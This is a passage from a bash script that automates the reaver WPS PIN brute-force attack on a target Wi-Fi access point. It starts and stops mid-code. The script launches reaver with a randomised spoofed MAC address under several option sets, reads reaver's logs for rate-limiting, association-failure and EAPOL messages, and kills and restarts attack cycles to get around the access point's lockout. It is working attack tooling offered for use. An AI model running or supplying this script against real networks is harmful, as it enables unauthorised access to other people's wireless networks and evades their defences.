	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP32 (ESSID: $NMEWARN32)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP32 (ESSID: $NMEWARN32)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R32 == n || $USE_R32 == N ]] && [[ $USE_LONG32 == y || $USE_LONG32 == Y ]] && [[ $USE_PIN32 == n || $USE_PIN32 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME32"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL32"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP32"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE32 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME32-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL32 -b $TARGETAP32 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME32-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE32-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP32 (ESSID: $NMEWARN32)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP32 (ESSID: $NMEWARN32)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R32 == y || $USE_R32 == Y ]] && [[ $USE_LONG32 == y || $USE_LONG32 == Y ]] && [[ $USE_PIN32 == n || $USE_PIN32 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME32"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL32"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP32"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX32" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY32"
echo -e "$info Reaver live time                   = $yel$LIVE32 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME32-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL32 -b $TARGETAP32 -r $RX32:$RY32 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME32-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE32-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP32 (ESSID: $NMEWARN32)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP32 (ESSID: $NMEWARN32)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R32 == n || $USE_R32 == N ]] && [[ $USE_LONG32 == n || $USE_LONG32 == N ]] && [[ $USE_PIN32 == y || $USE_PIN32 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME32"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL32"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP32"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE32 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME32-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL32 -b $TARGETAP32 -vv -x 60  --pin=$WPS_PIN32 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME32-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE32-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP32 (ESSID: $NMEWARN32)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP32 (ESSID: $NMEWARN32)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R32 == y || $USE_R32 == Y ]] && [[ $USE_LONG32 == n || $USE_LONG32 == N ]] && [[ $USE_PIN32 == y || $USE_PIN32 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME32"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL32"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP32"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX32" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY32"
echo -e "$info Reaver live time                   = $yel$LIVE32 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME32-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL32 -b $TARGETAP32 -vv -x 60 -r $RX32:$RY32 --pin=$WPS_PIN32 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME32-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE32-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP32 (ESSID: $NMEWARN32)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP32 (ESSID: $NMEWARN32)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R32 == n || $USE_R32 == N ]] && [[ $USE_LONG32 == y || $USE_LONG32 == Y ]] && [[ $USE_PIN32 == y || $USE_PIN32 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME32"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL32"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP32"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE32 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME32-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL32 -b $TARGETAP32 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN32 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME32-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE32-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
